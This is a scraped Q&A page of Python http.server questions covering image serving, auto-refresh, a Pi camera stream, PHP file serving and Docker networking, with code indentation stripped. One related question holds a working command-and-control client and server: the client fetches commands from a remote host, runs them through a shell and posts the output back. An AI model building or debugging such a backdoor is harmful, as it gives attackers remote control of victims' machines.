I have currently got this code set up:
import time
import http.server
import socketserver
import mimetypes
import os
HOST_NAME = 'localhost'
PORT = 8000
def load(self):
with open(self, 'r') as self:
self = self.read()
return self.encode('UTF-8')
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
if self.path == "/":
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(load('index.html'))
if self.path.endswith('.css'):
self.send_response(200)
self.send_header("Content-type", "text/css")
self.end_headers()
dest = self.path.replace("/", "")
self.wfile.write(load(dest))
if self.path == "/bg.jpg":
self.send_response(200)
self.send_header("Content-type", "image/jpeg")
self.end_headers()
if __name__ == '__main__':
httpd = socketserver.TCPServer(("", PORT), MyHandler)
print(time.asctime(), "Server Starts - %s:%s" % ("", PORT))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print(time.asctime(), "Server Stops - %s:%s" % ("", PORT))
My webpage seems to be working and I get my index.html and css loaded when I open up my webpage, however the image is not coming through, has anyone got any idea why?
To send an image over HTTP, just write the image data directly to the socket, like for any other type of file. You can't use your load() function for this, since that encodes the text as UTF-8. Instead, you should open the file with mode rb or similar, read a bytes from that filehandle, then write it directly to self.wfile in the HTTP handler.
Related
Is it possible to update a html site hosted with builtin modules of python? This is a minimal example from https://pythonbasics.org/webserver/ I have extended a meta-tag to refresh the side every second. This looks like a hack to me. Is there any possible solution to make this more clean? I would like to avoid ajax and other external libraries.
# Python 3 server example
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
output = []
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes("<html><head><title>https://pythonbasics.org</title>\n", "utf-8"))
self.wfile.write(bytes('<meta http-equiv="refresh" content="1">\n</head>', "utf-8"))
self.wfile.write(bytes("<body>", "utf-8"))
self.wfile.write(bytes("<p>This is an example web server.</p>", "utf-8"))
for text in MyServer.output:
self.wfile.write(bytes(text, "utf-8"))
self.wfile.write(bytes("</body></html>", "utf-8"))
def log_message(self, format, *args):
return
def http_serve():
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
from threading import Thread
thread_http_serve = Thread(target=http_serve)
thread_http_serve.start()
from time import sleep
for i in range(100):
text = "<p>sample data: " + str(i) + "</p>\n"
MyServer.output.append(text)
sleep(1)
My code is functional but only for the first command I send, after that the client connection stops with WinError 10061 but I don't know how to fix the problem.
Client.py
while True:
req = requests.get('http://my_local_ip:5000')
c2_command = req.text
if 'terminate' in c2_command:
break
else:
CMD = subprocess.Popen(c2_command, shell=True, stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
post_response = requests.post(url='http://my_local_ip:5000', data=CMD.stdout.read())
Server.py
HOST_NAME = "my_local_ip"
PORT_NUMBER = 5000
class HTTPHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
c2_command = input('[connected] ')
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(c2_command.encode())
def do_POST(self):
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-Length'])
PostData = self.rfile.read(length)
print(PostData.decode())
if __name__ == '__main__':
server_class = http.server.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), HTTPHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('[-] Server Terminated')
I tried to change the ip as well as to put in localhost or public ip but nothing to do.
I currently have a live stream running on my raspberry pi and it is hosted locally on my network on port 8000. I want to make this viewable to anyone using a static URL, but I am hesitant to open any ports as that creates a potential network vulnerability. I was wondering if it would be possible to use SMB share to send the live stream to an existing web server that is already in place. I have included the python code that is running on the pi for reference. If anyone has any other ideas on a better way to do this please share.
import io
import picamera
import logging
import socketserver
from threading import Condition
from http import server
PAGE="""\
<html>
<head>
<title>PiCamera</title>
</head>
<body>
<h1>PiCamera</h1>
<img src="stream.mjpg" width="640" height="480" /"
</body>
</html>
"""
class StreamingOutput(object):
def __init__(self):
self.frame = None
self.buffer = io.BytesIO()
self.condition = Condition()
def write(self, buf):
if buf.startswith(b'\xff\xd8'):
# New frame, copy the existing buffer's content and notify all
# clients it's available
self.buffer.truncate()
with self.condition:
self.frame = self.buffer.getvalue()
self.condition.notify_all()
self.buffer.seek(0)
return self.buffer.write(buf)
class StreamingHandler(server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(301)
self.send_header('Location', '/index.html')
self.end_headers()
elif self.path == '/index.html':
content = PAGE.encode('utf-8')
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', len(content))
self.end_headers()
self.wfile.write(content)
elif self.path == '/stream.mjpg':
self.send_response(200)
self.send_header('Age', 0)
self.send_header('Cache-Control', 'no-cache, private')
self.send_header('Pragma', 'no-cache')
self.send_header('Content-Type', 'multipart/x-mixed-replace; boundary=FRAME')
self.end_headers()
try:
while True:
with output.condition:
output.condition.wait()
frame = output.frame
self.wfile.write(b'--FRAME\r\n')
self.send_header('Content-Type', 'image/jpeg')
self.send_header('Content-Length', len(frame))
self.end_headers()
self.wfile.write(frame)
self.wfile.write(b'\r\n')
except Exception as e:
logging.warning(
'Removed streaming client %s: %s',
self.client_address, str(e))
else:
self.send_error(404)
self.end_headers()
class StreamingServer(socketserver.ThreadingMixIn, server.HTTPServer):
allow_reuse_address = True
daemon_threads = True
with picamera.PiCamera(resolution='640x480', framerate=24) as camera:
output = StreamingOutput()
camera.start_recording(output, format='mjpeg')
try:
address = ('', 8000)
server = StreamingServer(address, StreamingHandler)
server.serve_forever()
finally:
camera.stop_recording()
from http.server import HTTPServer, BaseHTTPRequestHandler
class xxx(BaseHTTPRequestHandler):
def do_GET(self):
self.path = "/index.php"
try:
file_to_open = open(self.path).read()
self.send_response(200)
except:
file_to_open = "File cannout found!"
self.send_response(404)
self.end_headers()
self.wfile.write(bytes(file_to_open, "utf-8"))
httpd = HTTPServer(("localhost", 8080), xxx)
httpd.serve_forever()
PHP is save in HTML comments.How can I remove extra part of string in index.php?I would like to remove all <!-- and -->.
I have a docker image running, but I have no access to management since they are given to us by an administrator.
I want to run a simple HTTP-Server from a Python script. The script is the following:
import SimpleHTTPServer
import SocketServer as socketserver
import os
import threading
class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
path_to_image = 'RGBWebcam1.png'
img = open(path_to_image, 'rb')
statinfo = os.stat(path_to_image)
img_size = statinfo.st_size
print(img_size)
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "image/png")
self.send_header("Content-length", img_size)
self.end_headers()
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "image/png")
self.send_header("Content-length", img_size)
self.end_headers()
f = open(path_to_image, 'rb')
self.wfile.write(f.read())
f.close()
class MyServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_adress, RequestHandlerClass):
self.allow_reuse_address = True
socketserver.TCPServer.__init__(self, server_adress, RequestHandlerClass, False)
if __name__ == "__main__":
HOST, PORT = "172.17.0.2", 9999
server = MyServer((HOST, PORT), MyHandler)
server.server_bind()
server.server_activate()
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
while(1):
print "test"
I looked up the IP-Adress with ifconfig however it is a different adress like the one I use when connecting to the Docker Image (it is a 141.19 ... address). So now if I try to reach the page it is not available on neither one of the adresses. Is there any way to route it to the 'real' IP-Address ?